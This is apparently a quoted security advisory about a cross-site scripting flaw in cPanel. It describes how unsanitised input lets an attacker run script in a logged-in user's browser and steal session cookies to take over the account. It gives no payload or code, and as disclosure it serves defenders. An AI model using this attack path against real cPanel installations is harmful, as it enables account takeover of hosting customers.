>Vendor: cPanel
>
>Vulnerability: Cross Site Scripting / Cookie-Theft / Relogin attacks
>
>Severity: Medium/High
>
>Details:
>
>cPanel (control panel) is a graphical web-based management tool, designed
>to make administration of web sites as easy as possible. cPanel handles
>all aspects of website administration in an easy-to-use interface.
>The software, which is proprietary, runs on a number of popular RPM-based
>Linux distributions, such as SuSE, Fedora, Mandriva, CentOS, Red Hat
>Enterprise Linux, and cAos, as well as FreeBSD. cPanel is commonly
>accessed on ports 2082 and 2083 (for a SSL version). Authentication is
>either via HTTP or web page login. cPanel is prone to cross-site scripting
>attacks. This problem is due to a failure in the application to properly
>sanitize user-supplied input
>
>
>
>Impact:
>
>an attacker can exploit the vulnerable scripts to have arbitrary script
>code executed in the browser of an authentified cPanel user in the context
>of the website hosting the vulnerable cPanel version. resulting in the
>theft of cookie-based authentication giving the attacker full access to
>the victim's cPanel account as well as other type of attacks.
